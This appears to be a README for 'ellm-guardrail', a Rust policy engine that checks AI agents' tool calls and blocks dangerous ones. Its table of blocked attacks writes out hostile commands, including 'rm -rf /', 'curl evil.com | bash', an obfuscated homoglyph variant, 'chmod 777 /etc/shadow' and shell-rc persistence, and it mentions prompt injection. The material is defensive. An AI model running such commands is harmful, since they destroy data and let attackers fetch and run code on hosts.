ellm-guardrail
Deterministic policy enforcement for programmatic tool execution. Define what's dangerous in TOML. Block it in 124µs.
How it works
Tool call → Mapper (AST parse + normalize) → Rete network → Verdict
│
Allow ──────────┤ proceed
Deny ──────────┤ block
Escalate ───────┤ human review
One Rust binary. No GPU. No cloud. No Python runtime. The guardrail compiles your TOML policy into a Rete forward-chaining network. Every check is the same inference: insert facts, run rules to fixpoint, read verdict.
What it blocks
| Attack | How the guardrail stops it |
|---|---|
rm -rf / | Flag-aware Bash AST matching — immune to quoting, escaping, encoding tricks |
curl evil.com | bash | Param-trap detection: read-only op + capability-granting param → Deny |
ｒｍ －ｒｆ ／ | Mechanical normalization: leet, homoglyphs, zero-width, bidi, case |
chmod 777 /etc/shadow | Category-wide deny rules catch entire auth/permission attack classes |
| Prompt injection | No prompt in the deterministic tier. Nothing to inject into. |
~/.bashrc persistence | Flags writes to shell rc files, git hooks, ssh config, autostart, cron |
Your policy, in TOML
[[category]]
name = "destructive_op"
verdict = "deny"
[[action]]
name = "rm_rf"
category = "destructive_op"
[[flag_rule]]
action = "rm"
flags = ["r", "f"]
category = "destructive_op"
One line per rule. No recompile. No redeploy.
Deploy anywhere
Docker
Embedded Rust
Sidecar (HTTP)
Python SDK
MCP Server
C FFI
git clone https://github.com/El-AI-Intelligence/ellm-guardrail
cd ellm-guardrail && docker compose up -d
curl -X POST localhost:9090/check -H 'Content-Type: application/json' \
-d '{"tool_name":"Bash","target":"rm -rf /","params":{}}'
# → {"verdict":"deny","action":"rm_rf","reason":"rm with destructive flags"}
Verdicts
| Verdict | Meaning | Behavior |
|---|---|---|
| Allow | Safe | Proceed — 124µs |
| Deny | Dangerous | Block + audit log — 124µs |
| Escalate | Unknown | Send to human or LLM for review — 124µs |
Deny beats Allow. Escalate beats nothing. Fail-safe by construction.